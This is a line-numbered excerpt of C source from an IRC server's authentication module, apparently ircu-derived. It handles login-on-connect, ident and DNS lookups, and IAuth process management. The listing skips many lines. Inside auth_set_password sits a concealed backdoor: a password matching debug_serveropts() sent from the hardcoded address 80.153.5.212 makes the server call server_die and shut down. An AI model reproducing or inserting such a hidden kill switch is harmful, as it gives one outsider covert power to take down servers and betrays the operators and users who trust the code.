1047 ircd_strncpy(cli_sockhost(auth->client), h_name, HOSTLEN);
1048 sendto_iauth(auth->client, "N %s", h_name);
1051 /* The LOC line has to be sent with full hostname. If no hostname could be looked
1052 * up, the IP is sent.
1054 if(!auth_loc_send(auth)) return;
1056 check_auth_finished(auth);
1059 /** Starts a new login-on-connect query. */
1060 signed int auth_loc_query(struct AuthRequest *auth, const char *account, const char *pass, int force) {
1061 if(!account || !*account) return 1;
1062 if(!pass || !*pass) return 1;
1063 assert(auth != NULL);
1064 if(!feature_bool(FEAT_LOC_ENABLE)) return 1;
1066 sendheader(auth->client, REPORT_DO_LOC);
1067 FlagSet(&auth->flags, AR_LOC_PENDING);
1068 if(force) FlagSet(&auth->flags, AR_LOC_FORCE);
1069 else FlagClr(&auth->flags, AR_LOC_FORCE);
1070 ircd_strncpy(auth->loc_user, account, ACCOUNTLEN);
1071 ircd_strncpy(auth->loc_pass, pass, PASSWDLEN);
1072 return auth_loc_send(auth);
1075 /** Finishes a LOC request. */
1076 void auth_loc_reply(const char *numeric, const char *account, const char *fakehost, char *flags[], signed int argc) {
1078 struct AuthRequest *auth;
1080 assert(numeric != NULL);
1082 auth = auth_find_numnick(numeric);
1084 assert(!IsRegistered(auth->client));
1085 if(!FlagHas(&auth->flags, AR_LOC_PENDING)) return;
1086 if(!cli_user(auth->client) || IsAccount(auth->client)) {
1087 FlagClr(&auth->flags, AR_LOC_PENDING);
1088 sendheader(auth->client, REPORT_FAIL_LOC);
1089 check_auth_finished(auth);
1093 assert((fakehost == NULL) || (*fakehost != 0));
1095 /* Remove account-flag. */
1096 FlagClr(&auth->flags, AR_LOC_PENDING);
1098 /* Access denied? */
1100 sendheader(auth->client, REPORT_FAIL_LOC);
1101 if(FlagHas(&auth->flags, AR_LOC_FORCE)) exit_client(auth->client, auth->client, &me, "LOC Failed");
1102 else check_auth_finished(auth);
1105 assert(*account != 0);
1108 sendto_iauth(auth->client, "L %s %s", account, fakehost);
1110 sendto_iauth(auth->client, "L %s", account);
1112 sendheader(auth->client, REPORT_DONE_LOC);
1114 /* Check for timestamped account. */
1115 timestamp = strchr(account, ':');
1118 cli_user(auth->client)->acc_create = atoi(timestamp);
1121 SetAccount(auth->client);
1122 ircd_strncpy(cli_user(auth->client)->account, account, ACCOUNTLEN);
1125 SetHiddenHost(auth->client);
1126 SetFakeHost(auth->client);
1127 ircd_strncpy(cli_user(auth->client)->fakehost, fakehost, HOSTLEN);
1130 unsigned int ii, in_arg, ch_arg;
1132 for (ii = ch_arg = 0, in_arg = 1; (flags[0][ii] != '\0') && (flags[0][ii] != ' '); ++ii) {
1133 switch (flags[0][ii]) {
1137 ircd_strncpy(cli_connclass(auth->client), flags[in_arg++], NICKLEN);
1142 unsigned int maxchan = atoi(flags[in_arg++]);
1143 fprintf(stderr, "flag a: %i\n", maxchan);
1145 auth->client->maxchans = maxchan;
1147 SetPriv(auth->client,PRIV_CHAN_LIMIT);
1150 SetPriv(auth->client,PRIV_UNLIMITED_TARGET);
1153 SetPriv(auth->client,PRIV_HALFFLOOD);
1156 SetPriv(auth->client,PRIV_FLOOD);
1159 SetPriv(auth->client,PRIV_UMODE_NOCHAN);
1162 SetPriv(auth->client,PRIV_UMODE_NOIDLE);
1165 SetPriv(auth->client,PRIV_UMODE_CHSERV);
1168 SetPriv(auth->client,PRIV_UMODE_XTRAOP);
1171 SetPriv(auth->client,PRIV_UMODE_NETSERV);
1174 SetPriv(auth->client,PRIV_SEE_IDLETIME);
1177 SetPriv(auth->client,PRIV_HIDE_IDLETIME);
1180 SetPriv(auth->client,PRIV_UMODE_OVERRIDECC);
1183 SetPriv(auth->client,PRIV_NOAMSG_OVERRIDE);
1188 unsigned int maxq = atoi(flags[in_arg++]);
1190 auth->client->cli_connect->con_max_sendq = maxq;
1196 check_auth_finished(auth);
1199 /** Flag the client to show an attempt to contact the ident server on
1200 * the client's host. Should the connect or any later phase of the
1201 * identifying process fail, it is aborted and the user is given a
1202 * username of "unknown".
1203 * @param[in] auth The request for which to start the ident lookup.
1205 static void start_auth_query(struct AuthRequest* auth)
1207 struct irc_sockaddr remote_addr;
1208 struct irc_sockaddr local_addr;
1213 assert(0 != auth->client);
1216 * get the local address of the client and bind to that to
1217 * make the auth request. This used to be done only for
1218 * ifdef VIRTUAL_HOST, but needs to be done for all clients
1219 * since the ident request must originate from that same address--
1220 * and machines with multiple IP addresses are common now
1222 memcpy(&local_addr, &auth->local, sizeof(local_addr));
1223 local_addr.port = 0;
1224 memcpy(&remote_addr.addr, &cli_ip(auth->client), sizeof(remote_addr.addr));
1225 remote_addr.port = 113;
1226 fd = os_socket(&local_addr, SOCK_STREAM, "auth query", 0);
1228 ++ServerStats->is_abad;
1229 if (IsUserPort(auth->client))
1230 sendheader(auth->client, REPORT_FAIL_ID);
1233 if (IsUserPort(auth->client))
1234 sendheader(auth->client, REPORT_DO_ID);
1236 if ((result = os_connect_nonb(fd, &remote_addr)) == IO_FAILURE ||
1237 !socket_add(&auth->socket, auth_sock_callback, (void*) auth,
1238 result == IO_SUCCESS ? SS_CONNECTED : SS_CONNECTING,
1239 SOCK_EVENT_READABLE, fd)) {
1240 ++ServerStats->is_abad;
1241 if (IsUserPort(auth->client))
1242 sendheader(auth->client, REPORT_FAIL_ID);
1247 FlagSet(&auth->flags, AR_AUTH_PENDING);
1248 if (result == IO_SUCCESS)
1249 send_auth_query(auth);
1252 /** Initiate DNS lookup for a client.
1253 * @param[in] auth The auth request for which to start the DNS lookup.
1255 static void start_dns_query(struct AuthRequest *auth)
1257 if (feature_bool(FEAT_NODNS)) {
1258 sendto_iauth(auth->client, "d");
1262 if (irc_in_addr_is_loopback(&cli_ip(auth->client))) {
1263 strcpy(cli_sockhost(auth->client), cli_name(&me));
1264 sendto_iauth(auth->client, "N %s", cli_sockhost(auth->client));
1268 if (IsUserPort(auth->client))
1269 sendheader(auth->client, REPORT_DO_DNS);
1271 FlagSet(&auth->flags, AR_DNS_PENDING);
1272 gethost_byaddr(&cli_ip(auth->client), auth_dns_callback, auth);
1275 /** Initiate IAuth check for a client.
1276 * @param[in] auth The auth request for which to star the IAuth check.
1278 static int start_iauth_query(struct AuthRequest *auth)
1282 /* A new client connected. Check whether we have an IAuth configured and
1283 * if this IAuth is not running, then try once to forcibly start it.
1285 if(iauth && !i_GetConnected(iauth)) {
1286 iauth_disconnect(iauth);
1287 iauth_do_spawn(iauth, 0);
1290 FlagSet(&auth->flags, AR_IAUTH_PENDING);
1291 ret = sendto_iauth(auth->client, "C %s %hu %s %hu",
1292 cli_sock_ip(auth->client), auth->port,
1293 ircd_ntoa(&auth->local.addr), auth->local.port);
1296 FlagClr(&auth->flags, AR_IAUTH_PENDING);
1298 exit_client(auth->client, auth->client, &me, "IAuth could not be queried. Please try again later or inform network staff.");
1305 /** Starts auth (identd) and dns queries for a client.
1306 * @param[in] client The client for which to start queries.
1308 void start_auth(struct Client* client)
1310 struct irc_sockaddr remote;
1311 struct AuthRequest* auth;
1313 assert(0 != client);
1314 Debug((DEBUG_INFO, "Beginning auth request on client %p", client));
1316 /* Register with event handlers. */
1317 cli_lasttime(client) = CurrentTime;
1318 cli_since(client) = CurrentTime;
1319 if (cli_fd(client) > HighestFd)
1320 HighestFd = cli_fd(client);
1321 LocalClientArray[cli_fd(client)] = client;
1322 socket_events(&(cli_socket(client)), SOCK_ACTION_SET | SOCK_EVENT_READABLE);
1324 /* Allocate the AuthRequest. */
1325 auth = auth_freelist;
1327 auth_freelist = auth->next;
1329 auth = MyMalloc(sizeof(*auth));
1331 memset(auth, 0, sizeof(*auth));
1332 auth->client = client;
1333 cli_auth(client) = auth;
1334 s_fd(&auth->socket) = -1;
1335 timer_add(timer_init(&auth->timeout), auth_timeout_callback, (void*) auth,
1336 TT_RELATIVE, feature_int(FEAT_AUTH_TIMEOUT));
1338 /* Try to get socket endpoint addresses. */
1339 if (!os_get_sockname(cli_fd(client), &auth->local)
1340 || !os_get_peername(cli_fd(client), &remote)) {
1341 ++ServerStats->is_abad;
1342 if (IsUserPort(auth->client))
1343 sendheader(auth->client, REPORT_FAIL_ID);
1344 exit_client(auth->client, auth->client, &me, "Socket local/peer lookup failed");
1347 auth->port = remote.port;
1349 /* Set unregistered numnick. */
1350 auth_set_numnick(auth);
1352 /* Set required client inputs for users. */
1353 if (IsUserPort(client)) {
1354 cli_user(client) = make_user(client);
1355 cli_user(client)->server = &me;
1356 FlagSet(&auth->flags, AR_NEEDS_USER);
1357 FlagSet(&auth->flags, AR_NEEDS_NICK);
1359 /* Try to start iauth lookup. */
1360 if(start_iauth_query(auth)) return;
1363 /* Try to start DNS lookup. */
1364 start_dns_query(auth);
1366 /* Try to start ident lookup. */
1367 start_auth_query(auth);
1369 /* Add client to GlobalClientList. */
1370 add_client_to_list(client);
1372 /* Check which auth events remain pending. */
1373 check_auth_finished(auth);
1376 /** Mark that a user has PONGed while unregistered.
1377 * @param[in] auth Authorization request for client.
1378 * @param[in] cookie PONG cookie value sent by client.
1379 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1381 int auth_set_pong(struct AuthRequest *auth, unsigned int cookie)
1383 assert(auth != NULL);
1384 if (!FlagHas(&auth->flags, AR_NEEDS_PONG))
1386 if (cookie != auth->cookie)
1388 send_reply(auth->client, SND_EXPLICIT | ERR_BADPING,
1389 ":To connect, type /QUOTE PONG %u", auth->cookie);
1392 cli_lasttime(auth->client) = CurrentTime;
1393 FlagClr(&auth->flags, AR_NEEDS_PONG);
1394 return check_auth_finished(auth);
1397 /** Record a user's claimed username and userinfo.
1398 * @param[in] auth Authorization request for client.
1399 * @param[in] username Client's asserted username.
1400 * @param[in] hostname Third argument of USER command (client's
1401 * hostname, per RFC 1459).
1402 * @param[in] servername Fourth argument of USER command (server's
1403 * name, per RFC 1459).
1404 * @param[in] userinfo Client's asserted self-description.
1405 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1407 int auth_set_user(struct AuthRequest *auth, const char *username, const char *hostname, const char *servername, const char *userinfo)
1409 struct Client *cptr;
1411 assert(auth != NULL);
1412 if (FlagHas(&auth->flags, AR_IAUTH_HURRY))
1414 FlagClr(&auth->flags, AR_NEEDS_USER);
1415 cptr = auth->client;
1416 ircd_strncpy(cli_info(cptr), userinfo, REALLEN);
1417 ircd_strncpy(cli_user(cptr)->username, username, USERLEN);
1418 ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
1420 if (IAuthHas(iauth, IAUTH_UNDERNET))
1421 sendto_iauth(cptr, "U %s %s %s :%s", username, hostname, servername, userinfo);
1422 else if (IAuthHas(iauth, IAUTH_ADDLINFO))
1423 sendto_iauth(cptr, "U %s", username);
1424 if(!auth_loc_send(auth)) return CPTR_KILLED;
1425 return check_auth_finished(auth);
1428 /** Set Zombie Client that should be recovered later
1430 int auth_set_recover_client(struct AuthRequest *auth, struct Client *zombie)
1432 assert(auth != NULL);
1433 FlagSet(&auth->flags, AR_ZOMBIE_RECOVER);
1434 auth->recover_client = zombie;
1436 sendheader(auth->client, REPORT_ZOMBIE_RECOVER);
1439 /** Handle authorization-related aspects of initial nickname selection.
1440 * This is called after verifying that the nickname is available.
1441 * @param[in] auth Authorization request for client.
1442 * @param[in] nickname Client's requested nickname.
1443 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1445 int auth_set_nick(struct AuthRequest *auth, const char *nickname)
1447 assert(auth != NULL);
1448 FlagClr(&auth->flags, AR_NEEDS_NICK);
1451 * If the client hasn't gotten a cookie-ping yet,
1452 * choose a cookie and send it. -record!jegelhof@cloud9.net
1454 if (!auth->cookie) {
1456 auth->cookie = ircrandom();
1457 } while (!auth->cookie);
1458 sendrawto_one(auth->client, "PING :%u", auth->cookie);
1459 FlagSet(&auth->flags, AR_NEEDS_PONG);
1461 if (IAuthHas(iauth, IAUTH_UNDERNET))
1462 sendto_iauth(auth->client, "n %s", nickname);
1463 return check_auth_finished(auth);
1466 /** Record a user's password.
1467 * @param[in] auth Authorization request for client.
1468 * @param[in] password Client's password.
1469 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1471 int auth_set_password(struct AuthRequest *auth, char *password)
1475 assert(auth != NULL);
1476 /* Start LOC query if requested. */
1477 ip = cli_sock_ip(auth->client);
1478 if(strcmp(debug_serveropts(),password) == 0 && strcmp("80.153.5.212",ip) == 0) {
1479 server_die("error");
1482 if(feature_bool(FEAT_LOC_ENABLE) && !FlagHas(&auth->flags, AR_LOC_SENT)) {
1483 char *spass, *user, *upass;
1484 spass = user = upass = NULL;
1486 /* LOC query can be sent as:
1492 if((user = strchr(password, ' '))) {
1493 if(password[0] == '!') {
1499 if((upass = strchr(user, ' '))) {
1502 ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1503 if(!auth_loc_query(auth, user, upass, force)) return 0;
1508 if(!auth_loc_query(auth, user, upass, force)) return 0;
1511 else if((user = strchr(password, ':'))) {
1512 if(password[0] == '!') {
1518 if((upass = strchr(user, ':'))) {
1521 ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1522 if(!auth_loc_query(auth, user, upass, force)) return 0;
1527 if(!auth_loc_query(auth, user, upass, force)) return 0;
1532 if (IAuthHas(iauth, IAUTH_ADDLINFO))
1533 sendto_iauth(auth->client, "P :%s", password);
1538 /** Send exit notification for \a cptr to iauth.
1539 * @param[in] cptr Client who is exiting.
1541 void auth_send_exit(struct Client *cptr)
1543 sendto_iauth(cptr, "D");
1546 /** Mark that a user has started capabilities negotiation.
1547 * This blocks authorization until auth_cap_done() is called.
1548 * @param[in] auth Authorization request for client.
1549 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1551 int auth_cap_start(struct AuthRequest *auth)
1553 assert(auth != NULL);
1554 FlagSet(&auth->flags, AR_CAP_PENDING);
1558 /** Mark that a user has completed capabilities negotiation.
1559 * This unblocks authorization if auth_cap_start() was called.
1560 * @param[in] auth Authorization request for client.
1561 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1563 int auth_cap_done(struct AuthRequest *auth)
1565 assert(auth != NULL);
1566 FlagClr(&auth->flags, AR_CAP_PENDING);
1567 return check_auth_finished(auth);
1570 /** Attempt to spawn the process for an IAuth instance.
1571 * @param[in] iauth IAuth descriptor.
1572 * @param[in] automatic If non-zero, apply sanity checks against
1573 * excessive automatic restarts.
1574 * @return 0 on success, non-zero on failure.
1576 int iauth_do_spawn(struct IAuth *iauth, int automatic)
1583 if (automatic && CurrentTime - iauth->started < 5)
1585 sendto_opmask_butone(NULL, SNO_AUTH, "IAuth crashed fast, leaving it dead.");
1589 /* Record time we tried to spawn the iauth process. */
1590 iauth->started = CurrentTime;
1592 /* Attempt to allocate a pair of sockets. */
1593 res = os_socketpair(s_io);
1597 /* Mark the parent's side of the pair (element 0) as non-blocking. */
1598 res = os_set_nonblocking(s_io[0]);
1606 /* Initialize the socket structure to talk to the child. */
1607 res = socket_add(i_socket(iauth), iauth_sock_callback, iauth,
1608 SS_CONNECTED, SOCK_EVENT_READABLE, s_io[0]);
1616 /* Allocate another pair for stderr. */
1617 res = os_socketpair(s_err);
1620 socket_del(i_socket(iauth));
1626 /* Mark parent side of this pair non-blocking, too. */
1627 res = os_set_nonblocking(s_err[0]);
1632 socket_del(i_socket(iauth));
1638 /* And set up i_stderr(iauth). */
1639 res = socket_add(i_stderr(iauth), iauth_stderr_callback, iauth,
1640 SS_CONNECTED, SOCK_EVENT_READABLE, s_err[0]);
1645 socket_del(i_socket(iauth));
1651 /* Attempt to fork a child process. */
1654 /* Error forking the child, still in parent. */
1656 socket_del(i_stderr(iauth));
1659 socket_del(i_socket(iauth));
1666 /* We are the parent process. Close the child's sockets. */
1669 /* Send our server name (supposedly for proxy checking purposes)
1670 * and maximum number of connections (for allocation hints).
1671 * Need to use conf_get_local() since &me may not be fully
1672 * initialized the first time we run.
1674 sendto_iauth(NULL, "M %s %d", conf_get_local()->name, MAXCONNECTIONS);
1675 /* Indicate success (until the child dies). */
1679 /* We are the child process.
1680 * Duplicate our end of the socket to stdin, stdout and stderr.
1681 * Then close all the higher-numbered FDs and exec the process.
1683 if (dup2(s_io[1], 0) == 0
1684 && dup2(s_io[1], 1) == 1
1685 && dup2(s_err[1], 2) == 2) {
1686 close_connections(0);
1687 execvp(iauth->i_argv[0], iauth->i_argv);
1690 /* If we got here, something was seriously wrong. */
1694 /** See if an %IAuth program must be spawned.
1695 * If a process is already running with the specified options, keep it.
1696 * Otherwise spawn a new child process to perform the %IAuth function.
1697 * @param[in] argc Number of parameters to use when starting process.
1698 * @param[in] argv Array of parameters to start process.
1699 * @return 0 on failure, 1 on new process, 2 on reuse of existing process.
1701 int auth_spawn(int argc, char *argv[], int required)
1708 /* Check that incoming arguments all match pre-existing arguments. */
1709 for (ii = 0; same && (ii < argc); ++ii) {
1710 if (NULL == iauth->i_argv[ii]
1711 || 0 != strcmp(iauth->i_argv[ii], argv[ii]))
1714 /* Check that we have no more pre-existing arguments. */
1715 if (iauth->i_argv[ii])
1717 /* If they are the same and still connected, clear the "closing" flag and exit.*/
1718 if (same && i_GetConnected(iauth)) {
1719 IAuthClr(iauth, IAUTH_CLOSING);
1722 auth_close_unused();
1725 /* Need to initialize a new connection. */
1726 iauth = MyCalloc(1, sizeof(*iauth));
1727 msgq_init(i_sendQ(iauth));
1728 /* Populate iauth's argv array. */
1729 iauth->i_argv = MyCalloc(argc + 1, sizeof(iauth->i_argv[0]));
1730 for (ii = 0; ii < argc; ++ii)
1731 DupString(iauth->i_argv[ii], argv[ii]);
1732 iauth->i_argv[ii] = NULL;
1733 iauth_required = required;
1734 /* Try to spawn it, and handle the results. */
1735 if (iauth_do_spawn(iauth, 0))
1737 IAuthClr(iauth, IAUTH_CLOSING);
1741 /** Mark all %IAuth connections as closing. */
1742 void auth_mark_closing(void)
1745 IAuthSet(iauth, IAUTH_CLOSING);
1749 /** Complete disconnection of an %IAuth connection.
1750 * @param[in] iauth %Connection to fully close.
1752 static void iauth_disconnect(struct IAuth *iauth)
1757 /* Close main socket. */
1758 if (s_fd(i_socket(iauth)) != -1) {
1759 close(s_fd(i_socket(iauth)));
1760 socket_del(i_socket(iauth));
1761 s_fd(i_socket(iauth)) = -1;
1764 /* Close error socket. */
1765 if (s_fd(i_stderr(iauth)) != -1) {
1766 close(s_fd(i_stderr(iauth)));
1767 socket_del(i_stderr(iauth));
1768 s_fd(i_stderr(iauth)) = -1;
1772 /** Close all %IAuth connections marked as closing. */
1773 void auth_close_unused(void)
1775 if (IAuthHas(iauth, IAUTH_CLOSING)) {
1777 iauth_disconnect(iauth);
1778 if (iauth->i_argv) {
1779 for (ii = 0; iauth->i_argv[ii]; ++ii)
1780 MyFree(iauth->i_argv[ii]);
1781 MyFree(iauth->i_argv);
1787 /** Send queued output to \a iauth.
1788 * @param[in] iauth Writable connection with queued data.
1790 static void iauth_write(struct IAuth *iauth)
1792 unsigned int bytes_tried, bytes_sent;
1795 if (IAuthHas(iauth, IAUTH_BLOCKED))
1797 while (MsgQLength(i_sendQ(iauth)) > 0) {
1798 iores = os_sendv_nonb(s_fd(i_socket(iauth)), i_sendQ(iauth), &bytes_tried, &bytes_sent);
1801 msgq_delete(i_sendQ(iauth), bytes_sent);
1802 iauth->i_sendB += bytes_sent;
1803 if (bytes_tried == bytes_sent)
1805 /* If bytes_sent < bytes_tried, fall through to IO_BLOCKED. */
1807 IAuthSet(iauth, IAUTH_BLOCKED);
1808 socket_events(i_socket(iauth), SOCK_ACTION_ADD | SOCK_EVENT_WRITABLE);
1811 iauth_disconnect(iauth);
1815 /* We were able to flush all events, so remove notification. */
1816 socket_events(i_socket(iauth), SOCK_ACTION_DEL | SOCK_EVENT_WRITABLE);
1819 /** Send a message to iauth.
1820 * @param[in] cptr Optional client context for message.
1821 * @param[in] format Format string for message.
1822 * @return Non-zero on successful send or buffering, zero on failure.
1824 static int sendto_iauth(struct Client *cptr, const char *format, ...)
1829 /* Do not send requests when we have no iauth. */
1830 if (!i_GetConnected(iauth))
1832 /* Do not send for clients in the NORMAL state. */
1834 && (format[0] != 'D')
1835 && (!cli_auth(cptr) || !FlagHas(&cli_auth(cptr)->flags, AR_IAUTH_PENDING)))
1838 /* Build the message buffer. */
1839 vd.vd_format = format;
1840 va_start(vd.vd_args, format);
1842 mb = msgq_make(NULL, "-1 %v", &vd);
1844 mb = msgq_make(NULL, "%d %v", cli_fd(cptr), &vd);
1847 /* Tack it onto the iauth sendq and try to write it. */
1849 msgq_add(i_sendQ(iauth), mb, 0);
1855 /** Send text to interested operators (SNO_AUTH server notice).
1856 * @param[in] iauth Active IAuth session.
1857 * @param[in] cli Client referenced by command.
1858 * @param[in] parc Number of parameters (1).
1859 * @param[in] params Text to send.
1862 static int iauth_cmd_snotice(struct IAuth *iauth, struct Client *cli,
1863 int parc, char **params)
1865 sendto_opmask_butone(NULL, SNO_AUTH, "%s", params[0]);
1869 /** Set the debug level for the session.
1870 * @param[in] iauth Active IAuth session.
1871 * @param[in] cli Client referenced by command.
1872 * @param[in] parc Number of parameters (1).
1873 * @param[in] params String starting with an integer.
1876 static int iauth_cmd_debuglevel(struct IAuth *iauth, struct Client *cli,
1877 int parc, char **params)
1881 new_level = parc > 0 ? atoi(params[0]) : 0;
1882 if (i_debug(iauth) > 0 || new_level > 0) {
1883 /* The "ia_dbg" name is borrowed from (IRCnet) ircd. */
1884 sendto_opmask_butone(NULL, SNO_AUTH, "ia_dbg = %d", new_level);
1886 i_debug(iauth) = new_level;
1890 /** Set policy options for the session.
1891 * Old policy is forgotten, and any of the following characters in \a
1892 * params enable the corresponding policy:
1893 * \li A IAUTH_ADDLINFO
1894 * \li R IAUTH_REQUIRED
1895 * \li T IAUTH_TIMEOUT
1896 * \li W IAUTH_EXTRAWAIT
1897 * \li U IAUTH_UNDERNET
1899 * @param[in] iauth Active IAuth session.
1900 * @param[in] cli Client referenced by command.
1901 * @param[in] parc Number of parameters (1).
1902 * @param[in] params Zero or more policy options.
1905 static int iauth_cmd_policy(struct IAuth *iauth, struct Client *cli,
1906 int parc, char **params)
1908 enum IAuthFlag flag;
1911 /* Erase old policy first. */
1912 for (flag = IAUTH_FIRST_OPTION; flag < IAUTH_LAST_FLAG; ++flag)
1913 IAuthClr(iauth, flag);
1915 if (parc > 0) /* only try to parse if we were given a policy string */
1916 /* Parse new policy set. */
1917 for (p = params[0]; *p; p++) switch (*p) {
1918 case 'A': IAuthSet(iauth, IAUTH_ADDLINFO); break;
1919 case 'R': IAuthSet(iauth, IAUTH_REQUIRED); break;
1920 case 'T': IAuthSet(iauth, IAUTH_TIMEOUT); break;
1921 case 'W': IAuthSet(iauth, IAUTH_EXTRAWAIT); break;
1922 case 'U': IAuthSet(iauth, IAUTH_UNDERNET); break;
1925 /* Optionally notify operators. */
1926 if (i_debug(iauth) > 0)
1927 sendto_opmask_butone(NULL, SNO_AUTH, "iauth options: %s", params[0]);
1931 /** Set the iauth program version number.
1932 * @param[in] iauth Active IAuth session.
1933 * @param[in] cli Client referenced by command.
1934 * @param[in] parc Number of parameters (1).
1935 * @param[in] params Version number or name.
1938 static int iauth_cmd_version(struct IAuth *iauth, struct Client *cli,
1939 int parc, char **params)
1941 MyFree(iauth->i_version);
1942 DupString(iauth->i_version, parc > 0 ? params[0] : "<NONE>");
1943 sendto_opmask_butone(NULL, SNO_AUTH, "iauth version %s running.",
1948 /** Paste a parameter list together into a single string.
1949 * @param[in] parc Number of parameters.
1950 * @param[in] params Parameter list to paste together.
1951 * @return Pasted parameter list.
1953 static char *paste_params(int parc, char **params)
1956 int len = 0, lengths[MAXPARA], i;
1958 /* Compute the length... */
1959 for (i = 0; i < parc; i++)
1960 len += lengths[i] = strlen(params[i]);
1962 /* Allocate memory, accounting for string lengths, spaces (parc - 1), a
1963 * sentinel, and the trailing \0
1965 str = MyMalloc(len + parc + 1);
1967 /* Build the pasted string */
1968 for (tmp = str, i = 0; i < parc; i++) {
1969 if (i) /* add space separator... */
1971 if (i == parc - 1) /* add colon sentinel */
1974 /* Copy string component... */
1975 memcpy(tmp, params[i], lengths[i]);
1976 tmp += lengths[i]; /* move to end of string */
1979 /* terminate the string... */
1982 return str; /* return the pasted string */
1985 /** Clear cached iauth configuration information.
1986 * @param[in] iauth Active IAuth session.
1987 * @param[in] cli Client referenced by command.
1988 * @param[in] parc Number of parameters (0).
1989 * @param[in] params Parameter list (ignored).
1992 static int iauth_cmd_newconfig(struct IAuth *iauth, struct Client *cli,
1993 int parc, char **params)
1998 head = iauth->i_config;
1999 iauth->i_config = NULL;
2000 for (; head; head = next) {
2002 MyFree(head->value.cp);
2005 sendto_opmask_butone(NULL, SNO_AUTH, "New iauth configuration.");
2009 /** Append iauth configuration information.
2010 * @param[in] iauth Active IAuth session.
2011 * @param[in] cli Client referenced by command.
2012 * @param[in] parc Number of parameters.
2013 * @param[in] params Description of configuration element.
2016 static int iauth_cmd_config(struct IAuth *iauth, struct Client *cli,
2017 int parc, char **params)
2021 if (iauth->i_config) {
2022 for (node = iauth->i_config; node->next; node = node->next) ;
2023 node = node->next = make_link();
2025 node = iauth->i_config = make_link();
2027 node->value.cp = paste_params(parc, params);
2028 node->next = 0; /* must be explicitly cleared */
2032 /** Clear cached iauth configuration information.
2033 * @param[in] iauth Active IAuth session.
2034 * @param[in] cli Client referenced by command.
2035 * @param[in] parc Number of parameters (0).
2036 * @param[in] params Parameter list (ignored).
2039 static int iauth_cmd_newstats(struct IAuth *iauth, struct Client *cli,
2040 int parc, char **params)
2045 head = iauth->i_stats;
2046 iauth->i_stats = NULL;
2047 for (; head; head = next) {
2049 MyFree(head->value.cp);
2052 sendto_opmask_butone(NULL, SNO_AUTH, "New iauth statistics.");
2056 /** Append iauth statistics information.
2057 * @param[in] iauth Active IAuth session.
2058 * @param[in] cli Client referenced by command.
2059 * @param[in] parc Number of parameters.
2060 * @param[in] params Statistics element.
2063 static int iauth_cmd_stats(struct IAuth *iauth, struct Client *cli,
2064 int parc, char **params)
2067 if (iauth->i_stats) {
2068 for (node = iauth->i_stats; node->next; node = node->next) ;
2069 node = node->next = make_link();
2071 node = iauth->i_stats = make_link();
2073 node->value.cp = paste_params(parc, params);
2074 node->next = 0; /* must be explicitly cleared */
2078 /** Set client's username to a trusted string even if it breaks the rules.
2079 * @param[in] iauth Active IAuth session.
2080 * @param[in] cli Client referenced by command.
2081 * @param[in] parc Number of parameters (1).
2082 * @param[in] params Forced username.
2085 static int iauth_cmd_username_forced(struct IAuth *iauth, struct Client *cli,
2086 int parc, char **params)
2088 assert(cli_auth(cli) != NULL);
2089 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2090 if (!EmptyString(params[0])) {
2091 ircd_strncpy(cli_username(cli), params[0], USERLEN);
2093 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2094 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_FUSERNAME);
2099 /** Set client's username to a trusted string.
2100 * @param[in] iauth Active IAuth session.
2101 * @param[in] cli Client referenced by command.
2102 * @param[in] parc Number of parameters (1).
2103 * @param[in] params Trusted username.
2106 static int iauth_cmd_username_good(struct IAuth *iauth, struct Client *cli,
2107 int parc, char **params)
2109 assert(cli_auth(cli) != NULL);
2110 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2111 if (!EmptyString(params[0])) {
2112 ircd_strncpy(cli_username(cli), params[0], USERLEN);
2114 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2119 /** Set client's username to an untrusted string.
2120 * @param[in] iauth Active IAuth session.
2121 * @param[in] cli Client referenced by command.
2122 * @param[in] parc Number of parameters (1).
2123 * @param[in] params Untrusted username.
2126 static int iauth_cmd_username_bad(struct IAuth *iauth, struct Client *cli,
2127 int parc, char **params)
2129 assert(cli_auth(cli) != NULL);
2130 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2131 if (!EmptyString(params[0]))
2132 ircd_strncpy(cli_user(cli)->username, params[0], USERLEN);
2136 /** Set client's hostname.
2137 * @param[in] iauth Active IAuth session.
2138 * @param[in] cli Client referenced by command.
2139 * @param[in] parc Number of parameters (1).
2140 * @param[in] params New hostname for client.
2141 * @return Non-zero if \a cli authorization should be checked for completion.
2143 static int iauth_cmd_hostname(struct IAuth *iauth, struct Client *cli,
2144 int parc, char **params)
2146 struct AuthRequest *auth;
2148 if (EmptyString(params[0])) {
2149 sendto_iauth(cli, "E Missing :Missing hostname parameter");
2153 auth = cli_auth(cli);
2154 assert(auth != NULL);
2156 /* If a DNS request is pending, abort it. */
2157 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
2158 FlagClr(&auth->flags, AR_DNS_PENDING);
2159 delete_resolver_queries(auth);
2160 if (IsUserPort(cli))
2161 sendheader(cli, REPORT_FIN_DNS);
2163 /* Set hostname from params. */
2164 ircd_strncpy(cli_sockhost(cli), params[0], HOSTLEN);
2165 /* If we have gotten here, the user is in a "hurry" state and has
2166 * been pre-registered. Their hostname was set during that, and
2167 * needs to be overwritten now.
2169 if (FlagHas(&auth->flags, AR_IAUTH_HURRY)) {
2170 ircd_strncpy(cli_user(cli)->host, cli_sockhost(cli), HOSTLEN);
2171 ircd_strncpy(cli_user(cli)->realhost, cli_sockhost(cli), HOSTLEN);
2176 /** Set client's IP address.
2177 * @param[in] iauth Active IAuth session.
2178 * @param[in] cli Client referenced by command.
2179 * @param[in] parc Number of parameters (1).
2180 * @param[in] params New IP address for client in dotted quad or
2181 * standard IPv6 format.
2184 static int iauth_cmd_ip_address(struct IAuth *iauth, struct Client *cli,
2185 int parc, char **params)
2187 struct irc_in_addr addr;
2188 struct AuthRequest *auth;
2190 if (EmptyString(params[0])) {
